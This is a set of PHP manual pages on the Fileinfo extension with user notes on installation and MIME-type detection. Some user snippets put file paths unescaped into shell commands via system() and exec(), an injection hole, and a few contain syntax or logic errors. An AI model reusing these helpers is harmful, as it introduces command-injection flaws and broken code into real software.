Unset this variable and it will work again. You can use unsetenv (C-Shell) or unset (Bourne Shell).

This does not affect the Apache version. Other CLI versions might be affected.

I lost a lot of time on this undocumented issue.
sam nospam at archives.org.au 24-Mar-2010 07:03
In addition to
 extension=fileinfo.so
I also had to add
 mime_magic.magicfile=/usr/share/file/magic
to my php configuration.  Then, I instantiate Finfo thus:

<?php
$mimeMagicFile = get_cfg_var('mime_magic.magicfile');
$finfo = new finfo(FILEINFO_MIME, $mimeMagicFile);
?>

(This is despite the rumours I hear about the default being exactly what I set it to anyway.)
wade at waddles dot org 12-Aug-2008 05:18
On Ubuntu Feisty, you need to add the line

extension=fileinfo.so

to your /etc/php5/*/php.ini files. The extension gets linked at compile time to /usr/lib/libmagic.so.1 which uses a MAGIC environment variable which defaults to

/etc/magic:/usr/share/file/magic


Resource Types

There is one resource used in Fileinfo extension: a magic database descriptor returned by finfo_open().

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

FILEINFO_NONE (integer)
No special handling.
FILEINFO_SYMLINK (integer)
Follow symlinks.
FILEINFO_MIME_TYPE (integer)
Return the mime type. Available since PHP 5.3.0.
FILEINFO_MIME_ENCODING (integer)
Return the mime encoding of the file. Available since PHP 5.3.0.
FILEINFO_MIME (integer)
Return the mime type and mime encoding as defined by RFC 2045.
FILEINFO_COMPRESS (integer)
Decompress compressed files. Disabled since PHP 5.3.0 due to thread safety issues.
FILEINFO_DEVICES (integer)
Look at the contents of blocks or character special devices.
FILEINFO_CONTINUE (integer)
Return all matches, not just the first.
FILEINFO_PRESERVE_ATIME (integer)
If possible preserve the original access time.
FILEINFO_RAW (integer)
Don't translate unprintable characters to a \ooo octal representation.

User Contributed Notes

jerome at chaman dot ca 16-Nov-2013 05:45
proceed with caution
as the documentation already says

FILEINFO_MIME will output something like "image/jpeg; charset=binary"

while

FILEINFO_MIME_TYPE outputs  "image/jpeg"
and
FILEINFO_MIME_ENCODING outputs  "binary"


Fileinfo Functions

Table of Contents

  • finfo_buffer — Return information about a string buffer
  • finfo_close — Close fileinfo resource
  • finfo_file — Return information about a file
  • finfo_open — Create a new fileinfo resource
  • finfo_set_flags — Set libmagic configuration options
  • mime_content_type — Detect MIME Content-type for a file (deprecated)

User Contributed Notes

bostjan at a2o dot si 09-Nov-2010 02:58
'Failed to load magic database at...'

This error message may be caused by incompatibilities between library and database. Check your database by trying to compile it with file command, like this:

cd /etc/magic
file -C -m magic
file -C -m magic.mime

b.
nessi at nessi dot ch 01-Jan-2010 01:26
For opensuse, you will just need to install the file-devel to solve the Problem with
checking for magic files in default path... not found
configure: error: Please reinstall the libmagic distribution

zypper install file-devel
aidan at php dot net 20-Dec-2008 10:09
As of PHP 5.3, Fileinfo is shipped with the main distribution and enabled by default. The extension is no longer maintained in PECL.
Evermorian 27-Aug-2008 02:03
In response to the suggestion from "jon at cybus" below to symlink /usr/share/file/magic to /etc/magic.mime, note that this causes other problems (in Debian Etch, anyway).  It breaks the -i functionality of the file command, causing it to return the human-readable string instead of the MIME type.  It also results in finfo doing the same.

So, it is probably better to actually specify the path to the magic file correctly when instantiating your finfo object:

<?php
$fi = new finfo(FILEINFO_MIME,'/usr/share/file/magic');
$mime_type = $fi->buffer(file_get_contents($file));
?>

Of course, you still end up with something that cannot tell the difference between a Word document and an Excel spreadsheet.
Terren Suydam 21-Jun-2008 08:00
If finfo_file() returns a mime type that also includes a character set definition (separated by a semi-colon), like:

text/plain; charset=us-ascii

Then you'll probably want to leave the charset definition in with the mime type, particularly if you're using the resulting string in an HTTP Content-Length header. The HTTP standard specifically allows for this, see:

http://www.w3.org/International/O-HTTP-charset

It seemed as if some of the previous commenters were trying to remove the charset.
Paul 08-Nov-2007 05:12
The results of this function seem to be of dubious quality.

eg
1)  a Word doc returns:
'application/msword application/msword'
...ok not too bad, but why does it come back twice?

2)  a PHP file comes back as:
'text/x-c++; charset=us-ascii'
My test file started with '<?php' so not ambiguous really. And where does it get the charset assumption from?

3)  a text doc that starts with the letters 'GIF' comes back as:
'image/gif'
(just like in DanielWalker's example for the unix 'file' command)

I had better results using the PEAR 'MIME_Type' package. It gave proper answers for 1 & 3 and identified the PHP file as 'text/plain' which is probably better than a false match for C++

Both finfo_file and MIME_Type correctly identified my other two test files which were a windows exe renamed with .doc extension, and a PDF also renamed with .doc extension.
jon at cybus dot co dot uk 05-Sep-2007 04:58
To get v1.0.4 working on my Ubuntu Feisty system, I had to do the following. It's probably the same on Debian.

* apt-get install libmagic1-dev
* pecl install Fileinfo
* Add "extension=fileinfo.so" to php.ini (/etc/php5/{cli,cgi}/php.ini)
* ln -s /usr/share/file/magic /etc/magic.mime
hari_1983 at yahoo dot com 23-Aug-2007 07:45
Actually for RPM users file-devel contains whatever libmagic contains. then apart from pear, u can directly use "pecl install Fileinfo".
aidan at php dot net 15-Mar-2007 09:54
PHP Warning:  finfo::finfo(): Failed to load magic database at '/etc/magic'
PHP Warning:  finfo::file(): The invalid fileinfo object

These errors can be rectified by copying your magic database (depending on your distro, this file can be anywhere, on debian it's in /usr/share/file/magic) to /etc/magic.mime

libmagic automatically appends the .mime to the end of the filename, so PHP incorrectly reports the path it was looking for.

The same applies for:
PHP Warning:  finfo::finfo(): Failed to load magic database at '/etc/magic.mime'

Unfortunately users will have to call the magic file /etc/magic.mime.mime in this case.
Alexey 18-Feb-2007 03:39
Well, it is hard to install and use this extension. There is better alternative - use lunux comand "file". For  insturctions - "man file" from linux shell.

<?
echo system("file -i -b file.pdf");
?>

application/pdf
szotsaki at gmail dot com 01-Feb-2007 08:12
I am about to write how installed this package.

First of all, I tried with "pear install fileinfo" - as the manual says.
But the pear command said that 'Package "Fileinfo" is not valid,
install failed'.

Then the "pear install pecl/fileinfo" was a better way. But at that time the "phpize" command was missing.
I installed that (on openSUSE distributions it is in the php5-devel, but I think you can find it in your distro's corresponding php-devel package).

After that you may install "re2c" (I did). It's homepage is: http://sourceforge.net/projects/re2c

Copy the magic file of Apache (usually in /etc/apache2) into the following directory: /usr/locale/share/file/ or /usr/share/file/

Then you have to install "libmagic-dev". If you have Debian based system you can simply install it with apt.
But if you have an rpm based system (like me), you have to download the following package: http://packages.debian.org/unstable/libdevel/libmagic-dev
It contains the files we need.
So, download the file, browse it with Midnight Commander (mc) (you have to apt and dpkg be installed) and simply extract (so copy) the /usr folder (it is inside the CONTENTS folder) of the .deb package to the root folder.

And now give the "pear install pecl/fileinfo" command another try :)

Ps: Don't forget to check whether the script has wrote the following line into the php.ini (on openSUSE: /etc/php5/apache2): extension=fileinfo.so

I hope, I could help.
motin at demomusic dot nu 10-Jan-2007 02:34
I had a real headache trying to install this package through pear/pecl. Ran into what looks like this bug: http://pecl.php.net/bugs/bug.php?id=7673 (phpize fails)

I found downloading the package manually and running ./configure helped show what the problem is:

...
checking for fileinfo support... yes, shared
checking for magic files in default path... not found
configure: error: Please reinstall the libmagic distribution
<quit>

I though this was because of a missing magic-database like magic.mime but examining the configure-script, magic.h is searched for.

Problem for me was that include/magic.h was not found. After some googling about where to find magic.h led me to the dead
simple solution:

apt-get install libmagic-dev

This does NOT solve the original installation bug strangely enough, but allows for manual installation:

1. Find the url to the latest version of fileinfo from http://pecl.php.net/package/Fileinfo (atm: http://pecl.php.net/get/Fileinfo-1.0.4.tgz)

2. Download, compile and install
wget http://pecl.php.net/get/Fileinfo-1.0.4.tgz
gunzip Fileinfo-1.0.4.tgz
tar -xvf Fileinfo-1.0.4.tar
cd fileinfo-1.0.4
./configure
make
make install

3. Add extension=fileinfo.so in your php.ini file

4. Restart Apache
jausions at php dot net 08-Jul-2006 09:26
For Windows users:

1. Go to http://pecl4win.php.net/ to get the php_fileinfo.dll if your PHP installation didn't come with it, and you haven't installed the Extensions package.

2. Then make sure you have extension=php_fileinfo.dll somewhere in your php.ini

3. Restart your web server.


Return information about a string buffer

  • « Fileinfo Functions
  • finfo_close »
  • PHP Manual
  • Fileinfo Functions
  • Return information about a string buffer

finfo_buffer

finfo::buffer

(PHP 5 >= 5.3.0, PECL fileinfo >= 0.1.0)

finfo_buffer -- finfo::buffer — Return information about a string buffer

Description

Procedural style

string finfo_buffer ( resource $finfo , string $string = NULL [, int $options = FILEINFO_NONE [, resource $context = NULL ]] )

Object oriented style

public string finfo::buffer ( string $string = NULL [, int $options = FILEINFO_NONE [, resource $context = NULL ]] )

This function is used to get information about binary data in a string.

Parameters

finfo

Fileinfo resource returned by finfo_open().

string

Content of a file to be checked.

options

One or disjunction of more Fileinfo constants.

context

Return Values

Returns a textual description of the string argument, or FALSE if an error occurred.

Examples

Example #1 A finfo_buffer() example

<?php
$finfo = new finfo(FILEINFO_MIME);
echo $finfo->buffer($_POST["script"]) . "\n";
?>

The above example will output something similar to:

application/x-sh; charset=us-ascii

See Also

  • finfo_file() - Return information about a file

User Contributed Notes

donjajo4all at gmail dot com 11-Jun-2014 03:42
Get only a webpage content type and forget the charset

<?php
$file = new finfo(FILEINFO_MIME);
echo strstr($file->buffer(file_get_contents('http://example.com')),';',true)//Returns something similar to  text/html
?>
donjajo4all at gmail dot com 10-Jun-2014 10:45
Get only a webpage content type and forget the charset

<?php
$file = new finfo(FILEINFO_MIME);
echo strstr(file_get_contents('http://example.com'),';',true); //Returns something similar to  text/html
?>
contact at ingnu dot fr 20-Jun-2011 11:22
You can easily check mime type of an internet resource using this code :

<?php
function getUrlMimeType($url) {
    $buffer = file_get_contents($url);
    $finfo = new finfo(FILEINFO_MIME_TYPE);
    return $finfo->buffer($buffer);
}
?>

I'm using it to detect if an url given by a user is a HTML page (so I do some stuff with the HTML) or a file on Internet (so I show an icon accordingly to the mime type).


Close fileinfo resource

  • « finfo_buffer
  • finfo_file »
  • PHP Manual
  • Fileinfo Functions
  • Close fileinfo resource

finfo_close

(PHP >= 5.3.0, PECL fileinfo >= 0.1.0)

finfo_close — Close fileinfo resource

Description

bool finfo_close ( resource $finfo )

This function closes the resource opened by finfo_open().

Parameters

finfo

Fileinfo resource returned by finfo_open().

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Return information about a file

  • « finfo_close
  • finfo_open »
  • PHP Manual
  • Fileinfo Functions
  • Return information about a file

finfo_file

finfo::file

(PHP >= 5.3.0, PECL fileinfo >= 0.1.0)

finfo_file -- finfo::file — Return information about a file

Description

Procedural style

string finfo_file ( resource $finfo , string $file_name = NULL [, int $options = FILEINFO_NONE [, resource $context = NULL ]] )

Object oriented style

public string finfo::file ( string $file_name = NULL [, int $options = FILEINFO_NONE [, resource $context = NULL ]] )

This function is used to get information about a file.

Parameters

finfo

Fileinfo resource returned by finfo_open().

file_name

Name of a file to be checked.

options

One or disjunction of more Fileinfo constants.

context

For a description of contexts, refer to Stream Functions.

Return Values

Returns a textual description of the contents of the filename argument, or FALSE if an error occurred.

Examples

Example #1 A finfo_file() example

<?php
$finfo = finfo_open(FILEINFO_MIME_TYPE); // return mime type ala mimetype extension
foreach (glob("*") as $filename) {
    echo finfo_file($finfo, $filename) . "\n";
}
finfo_close($finfo);
?>

The above example will output something similar to:

text/html
image/gif
application/vnd.ms-excel

See Also

  • finfo_buffer() - Return information about a string buffer

User Contributed Notes

niko dot jokipalo at gmail dot com 13-Jan-2014 05:03
I spent days looking and searching for a database with actual plain language descriptions for the media types, for example
finfo(.png) --> "image/png" --> "PNG image".
In Ubuntu based OS's you can find already translated database at /usr/share/mime

http://manpages.ubuntu.com/manpages/hardy/en/man5/gnome-mime.5.html
da_kooz at hotmail dot com 09-Aug-2013 05:13
Here is an wrapper that will properly identify Microsoft Office 2007 documents. It's trivial and straightforward to use, edit, and to add more file extentions/mimetypes.

<?php
function get_mimetype($filepath) {
    if(!preg_match('/\.[^\/\\\\]+$/',$filepath)) {
        return finfo_file(finfo_open(FILEINFO_MIME_TYPE), $filepath);
    }
    switch(strtolower(preg_replace('/^.*\./','',$filepath))) {
        // START MS Office 2007 Docs
        case 'docx':
            return 'application/vnd.openxmlformats-officedocument.wordprocessingml.document';
        case 'docm':
            return 'application/vnd.ms-word.document.macroEnabled.12';
        case 'dotx':
            return 'application/vnd.openxmlformats-officedocument.wordprocessingml.template';
        case 'dotm':
            return 'application/vnd.ms-word.template.macroEnabled.12';
        case 'xlsx':
            return 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet';
        case 'xlsm':
            return 'application/vnd.ms-excel.sheet.macroEnabled.12';
        case 'xltx':
            return 'application/vnd.openxmlformats-officedocument.spreadsheetml.template';
        case 'xltm':
            return 'application/vnd.ms-excel.template.macroEnabled.12';
        case 'xlsb':
            return 'application/vnd.ms-excel.sheet.binary.macroEnabled.12';
        case 'xlam':
            return 'application/vnd.ms-excel.addin.macroEnabled.12';
        case 'pptx':
            return 'application/vnd.openxmlformats-officedocument.presentationml.presentation';
        case 'pptm':
            return 'application/vnd.ms-powerpoint.presentation.macroEnabled.12';
        case 'ppsx':
            return 'application/vnd.openxmlformats-officedocument.presentationml.slideshow';
        case 'ppsm':
            return 'application/vnd.ms-powerpoint.slideshow.macroEnabled.12';
        case 'potx':
            return 'application/vnd.openxmlformats-officedocument.presentationml.template';
        case 'potm':
            return 'application/vnd.ms-powerpoint.template.macroEnabled.12';
        case 'ppam':
            return 'application/vnd.ms-powerpoint.addin.macroEnabled.12';
        case 'sldx':
            return 'application/vnd.openxmlformats-officedocument.presentationml.slide';
        case 'sldm':
            return 'application/vnd.ms-powerpoint.slide.macroEnabled.12';
        case 'one':
            return 'application/msonenote';
        case 'onetoc2':
            return 'application/msonenote';
        case 'onetmp':
            return 'application/msonenote';
        case 'onepkg':
            return 'application/msonenote';
        case 'thmx':
            return 'application/vnd.ms-officetheme';
            //END MS Office 2007 Docs

    }
    return finfo_file(finfo_open(FILEINFO_MIME_TYPE), $filepath);
}

?>
contato at vfreitas dot com 02-Mar-2012 03:31
Well, i have a great probleam with that, MS Office 2007 extensions (pptx, xlsx, docx) do not have a default Mime type, they have "application/zip" mime type, so, to fix that, i do one little function to verify the extension.
That function allow's you to be safe of fake extensions hack.

<?php

$arrayZips = array("application/zip", "application/x-zip", "application/x-zip-compressed");

$arrayExtensions = array(".pptx", ".docx", ".dotx", ".xlsx");

$file = 'path/to/file.xlsx';

$original_extension = (false === $pos = strrpos($file, '.')) ? '' : substr($file, $pos);

$finfo = new finfo(FILEINFO_MIME);

$type = $finfo->file($file);

if (in_array($type, $arrayZips) && in_array($original_extension, $arrayExtensions))
{
   return $original_extension;
}

?>
Zane MegaLab.it 13-Jun-2011 05:38
I was getting application/octet-stream or "<= not supported" for all the files.

I found out that in PHP 5.3 the magic file is built-in into PHP and that is what should be used. The magic file found on the system may not always be what libmagic expects, hence the error.
info at tech dash bits dot net 13-Feb-2011 10:34
While figuring out my problem using this new function, i had a brainwave in using the full path of the file instead of the relative path. For example:

<?php
$folder = "somefolder/";
$fileName "aFile.pdf";

$finfo = finfo_open(FILEINFO_MIME_TYPE);
finfo_file($finfo, $folder.$fileName);
?>

This will result in an error where it can't find the file specified.

This however fixxes that problem:

<?php
$folder = "somefolder/";
$fileName "aFile.pdf";

$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, dirname(__FILE__)."/".$folder.$fileName);
?>
scott at thebrain dot ca 07-Jan-2009 06:29
I thought to use fileinfo to check if a file was gzip or bzip2. However, the mime type of a compressed file is "data" because compression is an encoding rather than a type.

gzip files begin with binary 1f8b.
bzip2 files begin with magic bytes 'B'  'Z'  'h'.
e.g.

<?php
$s = file_get_contents("somefilepath");
if ( bin2hex(substr($s,0,2)) == '1f8b' ) {/* could be a gzip file */}
if( substr($s,0,3) == 'BZh' ){/* could be a bzip2 file */}
?>

I am not an encoding expert. My only testing was using a few of my own encoded files.
darko at uvcms dot com 01-Aug-2008 05:28
OO (bit improved) version of the same thing

<?php
$file = '<somefile>';
$ftype = 'application/octet-stream';
$finfo = @new finfo(FILEINFO_MIME);
$fres = @$finfo->file($file);
if (is_string($fres) && !empty($fres)) {
   $ftype = $fres;
}
?>
darko at uvcms dot com 24-Apr-2008 06:53
Another interresting feature of finfo_file on Windows.

This function can return empty string instead of FALSE for some file types (ppt for example). Therefore to be sure do a triple check of output result and provide default type just in case. Here is a sample code:

$ftype = 'application/octet-stream';
$finfo = @finfo_open(FILEINFO_MIME);
if ($finfo !== FALSE) {
   $fres = @finfo_file($finfo, $file);
   if ( ($fres !== FALSE)
        && is_string($fres)
        && (strlen($fres)>0)) {
            $ftype = $fres;
        }
   @finfo_close($finfo);
}
WebShowPro 25-Sep-2007 11:01
Just an improvement on the sample Ryan Day posted - slightly off topic since this method does not use finfo_file but in some cases this method might be preferable.

The main change is the -format %m parameters given to the identify call.  I would suggest using the full system path to identify i.e. /usr/bin/identify to be a little safer (the location may change from server to server though).

<?php

function is_jpg($fullpathtoimage){
    if(file_exists($fullpathtoimage)){
        exec("/usr/bin/identify -format %m $fullpathtoimage",$out);
        //using system() echos STDOUT automatically
        if(!empty($out)){
            //identify returns an empty result to php
            //if the file is not an image

            if($out == 'JPEG'){
                return true;
            }
        }
    }
    return false;
}

?>
Schraalhans Keukenmeester 22-May-2007 12:20
Tempting as it may seem to use finfo_file() to validate uploaded image files (Check whether a supposed imagefile really contains an image), the results cannot be trusted. It's not that hard to wrap harmful executable code in a file identified as a GIF for instance.

A better & safer option is to check the result of:

if (!$img = @imagecreatefromgif($uploadedfilename)) {
  trigger_error('Not a GIF image!',E_USER_WARNING);
  // do necessary stuff
}


Create a new fileinfo resource

  • « finfo_file
  • finfo_set_flags »
  • PHP Manual
  • Fileinfo Functions
  • Create a new fileinfo resource

finfo_open

finfo::__construct

(PHP >= 5.3.0, PECL fileinfo >= 0.1.0)

finfo_open -- finfo::__construct — Create a new fileinfo resource

Description

Procedural style

resource finfo_open ([ int $options = FILEINFO_NONE [, string $magic_file = NULL ]] )

Object oriented style (constructor):

public finfo::__construct ([ int $options = FILEINFO_NONE [, string $magic_file = NULL ]] )

This function opens a magic database and returns its resource.

Parameters

options

One or disjunction of more Fileinfo constants.

magic_file

Name of a magic database file, usually something like /path/to/magic.mime. If not specified, the MAGIC environment variable is used. If the environment variable isn't set, then PHP's bundled magic database will be used.

Passing NULL or an empty string will be equivalent to the default value.

Return Values

(Procedural style only) Returns a magic database resource on success or FALSE on failure.

Notes

Warning

The expected magic database format changed in PHP 5.3.11 and 5.4.1. Due to this, the internal magic database was upgraded. This mostly effects code where an external magic database is used: reading an older magic file will now fail. Also, some textual representations of the mime types has changed, for instance for PHP would be "PHP script, ASCII text" instead of "PHP script text" returned.

Note:

Generally, using the bundled magic database (by leaving magic_file and the MAGIC environment variables unset) is the best course of action unless you specifically need a custom magic database.

Examples

Example #1 Object oriented style

<?php
$finfo = new finfo(FILEINFO_MIME, "/usr/share/misc/magic"); // return mime type ala mimetype extension

/* get mime-type for a specific file */
$filename = "/usr/local/something.txt";
echo $finfo->file($filename);

?>

Example #2 Procedural style

<?php
$finfo = finfo_open(FILEINFO_MIME, "/usr/share/misc/magic"); // return mime type ala mimetype extension

if (!$finfo) {
    echo "Opening fileinfo database failed";
    exit();
}

/* get mime-type for a specific file */
$filename = "/usr/local/something.txt";
echo finfo_file($finfo, $filename);

/* close connection */
finfo_close($finfo);
?>

The above example will output:

text/plain; charset=us-ascii

See Also

  • finfo_close() - Close fileinfo resource

User Contributed Notes

Anonymous 05-Jul-2013 04:41
For most common image files:
<?php
function minimime($fname) {
    $fh=fopen($fname,'rb');
    if ($fh) {
        $bytes6=fread($fh,6);
        fclose($fh);
        if ($bytes6===false) return false;
        if (substr($bytes6,0,3)=="\xff\xd8\xff") return 'image/jpeg';
        if ($bytes6=="\x89PNG\x0d\x0a") return 'image/png';
        if ($bytes6=="GIF87a" || $bytes6=="GIF89a") return 'image/gif';
        return 'application/octet-stream';
    }
    return false;
}
?>
illusivefingers at gmail dot com 06-Feb-2012 09:53
I am running Windows 7 with Apache.  It took hours to figure out why it was not working.

First, enable the php_fileinfo.dll extension in you php.ini. You'll also need the four magic files that are found in the following library:

http://sourceforge.net/projects/gnuwin32/files/file/4.23/file-4.23-bin.zip/download

An environment variable or a direct path to the file named "magic" is necessary, without any extension.

Then, make sure that xdebug is either turned off or set the ini error_reporting to not display notices or warnings for the script.

Hope this saves someone a few hours of frustration!
olivier dot berger at it-sudparis dot eu 09-Mar-2011 09:02
On my Debian squeeze system, the path needed is like :
<?php
 $finfo = new finfo(FILEINFO_MIME, "/usr/share/misc/magic.mgc");
?>
franssen dot roland at gmail dot com 11-May-2010 09:23
Notice FileInfo::__construct() has strange behavior in PHP < 5.3.1 when a 2nd parameter is set explicitly, e.g.;

<?php
$fileInfo = new finfo(FILEINFO_MIME, null);
?>

Expected result:
----------------
object(finfo)#2 (0) { }

Actual result:
--------------
Warning: finfo::finfo(): Failed to load magic database at ''. in *** on line ***
object(finfo)#2 (0) { }

See http://bugs.php.net/bug.php?id=51732
mark at dynom dot nl 09-Nov-2008 09:34
It seems there is quite some inconsistency in distributions and loading of magic files.

On Archlinux, the file is located here:
/usr/share/misc/file/magic.mgc

But this:

<?php
$fi = new finfo(FILEINFO_MIME, '/usr/share/misc/file/magic');
$fi->file('/tmp/fubar.txt');
?>

Actually segfaults, where if I type the full name (including the file extension:)

<?php
$fi = new finfo(FILEINFO_MIME, '/usr/share/misc/file/magic.mgc'); // added ".mgc"
$fi->file('/tmp/fubar.txt');
?>

It works as expected, so I guess something goes wrong with "A .mime and/or .mgc suffix is added if needed."
php at brudaswen dot de 15-Sep-2008 12:13
Since it costed me some time to find the needed magic database files for Windows, just a hint:

The last release of the GnuWin32 project with both needed files (magic and magic.mime) currently was "file-4.23".
All releases after 4.23 to 4.25-1 did not contain both needed files.

Hope that helps.
dario dot borreguero at gmail dot com 16-Apr-2008 12:15
Platform: WinXP-SP2, PHP5.2.5, MySQL 5.0, Apache 2.2.8

After reading former notes, I wasn't able to load my magic database: 'magic.mime' file (donwloaded from GnuWin32 project, zipped with the binary files v4.21). I always got an invalid $finfo object or finfo_open(...) returned FALSE.

In order to be able to load the 'magic.mime' file, Fileinfo library (bundled in PHP5.2.5) also requires 'magic' file.

For example:
1. Database:
  c:\php\magic.mime
  c:\php\magic

2. PHP Code:
<?php
  $filname = 'c:\php\php.ini';
  $finfo = new finfo(FILEINFO_MIME, 'c:\php\magic');
  if (!$finfo) return false;
  echo $finfo->file($filename);
?>

For further info see: http://pecl.php.net/bugs/bug.php?id=7555

Pay attention to comments added by 'christophe dot charron dot xul at gmail dot com'

NOTE: Before upgrading to PHP5.2.5, I was working with PHP5.2.1 and it only required 'magic.mime' file.
php at kingsquare dot nl 23-Jan-2008 04:41
The current version (1.04) doesnt support a different mime.magic database than the server default.

(the documentation is thus not correct)
Ubuntu default location is '/usr/share/file/magic'. In order for the examples to work all finfo_open()-commands must be issued with the extra location accordingly:
<?php
$file = "/path/to/file.jpg";
$handle = finfo_open(FILEINFO_MIME, '/usr/share/file/magic');
$mime_type = finfo_file($handle,$file);
?>
ian at createanet dot co dot uk 02-Nov-2007 05:50
Couldn't get finfo to return the mimetype in the way expected so i made a function to do it with system()

<?php
function get_mime_type($filepath) {
    ob_start();
    system("file -i -b {$filepath}");
    $output = ob_get_clean();
    $output = explode("; ",$output);
    if ( is_array($output) ) {
        $output = $output[0];
    }
    return $output;
}
?>

hope it works for other people too
tularis at php dot net 06-May-2007 09:55
On Windows systems people might find that this always returns "application/x-dpkg".
There are 2 ways of solving this problem:
1. Get the mime-magic database file from GnuWin32 at <http://sourceforge.net/projects/gnuwin32/>
2. You can manually "fix" the mime-magic file by editing it and escaping all lines starting with !, thus changing each one to \!


Set libmagic configuration options

  • « finfo_open
  • mime_content_type »
  • PHP Manual
  • Fileinfo Functions
  • Set libmagic configuration options

finfo_set_flags

finfo::set_flags

(PHP >= 5.3.0, PECL fileinfo >= 0.1.0)

finfo_set_flags -- finfo::set_flags — Set libmagic configuration options

Description

Procedural style

bool finfo_set_flags ( resource $finfo , int $options )

Object oriented style

public bool finfo::set_flags ( int $options )

This function sets various Fileinfo options. Options can be set also directly in finfo_open() or other Fileinfo functions.

Parameters

finfo

Fileinfo resource returned by finfo_open().

options

One or disjunction of more Fileinfo constants.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Detect MIME Content-type for a file (deprecated)

  • « finfo_set_flags
  • Filesystem »
  • PHP Manual
  • Fileinfo Functions
  • Detect MIME Content-type for a file (deprecated)

mime_content_type

(PHP 4 >= 4.3.0, PHP 5)

mime_content_type — Detect MIME Content-type for a file (deprecated)

Description

string mime_content_type ( string $filename )

Returns the MIME content type for a file as determined by using information from the magic.mime file.

Parameters

filename

Path to the tested file.

Return Values

Returns the content type in MIME format, like text/plain or application/octet-stream.

Notes

Warning

This function has been deprecated as the PECL extension Fileinfo provides the same functionality (and more) in a much cleaner way.

Examples

Example #1 mime_content_type() Example

<?php
echo mime_content_type('php.gif') . "\n";
echo mime_content_type('test.php');
?>

The above example will output:

image/gif
text/plain

See Also

  • Fileinfo for a replacement

User Contributed Notes

ppaster at mailinator dot com 22-Jul-2014 06:34
additional to svogal's video files:
'mp4' => 'video/mp4',
what also works:
'mp4' => 'audio/mp4',
Josh Sean 06-Mar-2012 04:04
Fast generation of uptodate mime types:

<?php
define('APACHE_MIME_TYPES_URL','http://svn.apache.org/repos/asf/httpd/httpd/trunk/docs/conf/mime.types');

function generateUpToDateMimeArray($url){
    $s=array();
    foreach(@explode("\n",@file_get_contents($url))as $x)
        if(isset($x[0])&&$x[0]!=='#'&&preg_match_all('#([^\s]+)#',$x,$out)&&isset($out[1])&&($c=count($out[1]))>1)
            for($i=1;$i<$c;$i++)
                $s[]='&nbsp;&nbsp;&nbsp;\''.$out[1][$i].'\' => \''.$out[1][0].'\'';
    return @sort($s)?'$mime_types = array(<br />'.implode($s,',<br />').'<br />);':false;
}

echo
generateUpToDateMimeArray(APACHE_MIME_TYPES_URL);
?>

Output:
$mime_types = array(
   '123' => 'application/vnd.lotus-1-2-3',
   '3dml' => 'text/vnd.in3d.3dml',
   '3g2' => 'video/3gpp2',
   '3gp' => 'video/3gpp',
   '7z' => 'application/x-7z-compressed',
   'aab' => 'application/x-authorware-bin',
   'aac' => 'audio/x-aac',
   'aam' => 'application/x-authorware-map',
   'aas' => 'application/x-authorware-seg',
...

Enjoy.
john dot howard at prismmg dot com 27-Oct-2009 12:43
Here's a simple function to return MIME types, based on the Apache mime.types file. [The one in my previous submission, which has since been replaced by this one] only works properly if mime.types is formatted as Windows text. The updated version below corrects this problem. Thanks to Mike for pointing this out.

<?php
function get_mime_type($filename, $mimePath = '../etc') {
   $fileext = substr(strrchr($filename, '.'), 1);
   if (empty($fileext)) return (false);
   $regex = "/^([\w\+\-\.\/]+)\s+(\w+\s)*($fileext\s)/i";
   $lines = file("$mimePath/mime.types");
   foreach($lines as $line) {
      if (substr($line, 0, 1) == '#') continue; // skip comments
      $line = rtrim($line) . " ";
      if (!preg_match($regex, $line, $matches)) continue; // no match to the extension
      return ($matches[1]);
   }
   return (false); // no match at all
}
?>

Notes:
[1] Requires mime.types file distributed with Apache (normally found at ServerRoot/conf/mime.types).  If you are using shared hosting, download the file with the Apache distro and then upload it to a directory on your web server that php has access to.

[2] First param is the filename (required). Second parameter is path to mime.types file (optional; defaults to home/etc/).

[3] Based on MIME types registered with IANA (http://www.iana.org/assignments/media-types/index.html). Recognizes 630 extensions associated with 498 MIME types.

[4] Asserts MIME type based on filename extension. Does not examine the actual file; the file does not even have to exist.

[5] Examples of use:
>> echo get_mime_type('myFile.xml');
>> application/xml
>> echo get_mime_type('myPath/myFile.js');
>> application/javascript
>> echo get_mime_type('myPresentation.ppt');
>> application/vnd.ms-powerpoint
>> echo get_mime_type('http://mySite.com/myPage.php);
>> application/x-httpd-php
>> echo get_mime_type('myPicture.jpg');
>> image/jpeg
>> echo get_mime_type('myMusic.mp3');
>> audio/mpeg
and so on...

To create an associative array containing MIME types, use:
<?php
function get_mime_array($mimePath = '../etc')
{
   $regex = "/([\w\+\-\.\/]+)\t+([\w\s]+)/i";
   $lines = file("$mimePath/mime.types", FILE_IGNORE_NEW_LINES);
   foreach($lines as $line) {
      if (substr($line, 0, 1) == '#') continue; // skip comments
      if (!preg_match($regex, $line, $matches)) continue; // skip mime types w/o any extensions
      $mime = $matches[1];
      $extensions = explode(" ", $matches[2]);
      foreach($extensions as $ext) $mimeArray[trim($ext)] = $mime;
   }
   return ($mimeArray);
}
?>
Bob 21-Jun-2009 01:25
I see a lot of comments suggesting doing file extension sniffing (i.e. assuming .jpg files are JPEG images) when proper file-type sniffing functions are unavailable.
I want to point out that there is a much more accurate way.
If neither mime_content_type() nor Fileinfo is available to you and you are running *any* UNIX variant since the 70s, including Mac OS, OS X, Linux, etc. (and most web hosting is), just make a system call to 'file(1)'.
Doing something like this:
<?php
echo system("file -bi '<file path>'");
?>
will output something like "text/html; charset=us-ascii". Some systems won't add the charset bit, but strip it off just in case.
The '-bi' bit is important. However, you can use a command like this:
<?php
echo system("file -b '<file path>'"); // without the 'i' after '-b'
?>
to output a human-readable string, like "HTML document text", which can sometimes be useful.
The only drawback is that your scripts will not work on Windows, but is this such a problem? Just about all web hosts use a UNIX.
It is a far better way than just examining the file extension.
svogal 27-Dec-2008 04:17
<?php
if(!function_exists('mime_content_type')) {

    function mime_content_type($filename) {

        $mime_types = array(

            'txt' => 'text/plain',
            'htm' => 'text/html',
            'html' => 'text/html',
            'php' => 'text/html',
            'css' => 'text/css',
            'js' => 'application/javascript',
            'json' => 'application/json',
            'xml' => 'application/xml',
            'swf' => 'application/x-shockwave-flash',
            'flv' => 'video/x-flv',

            // images
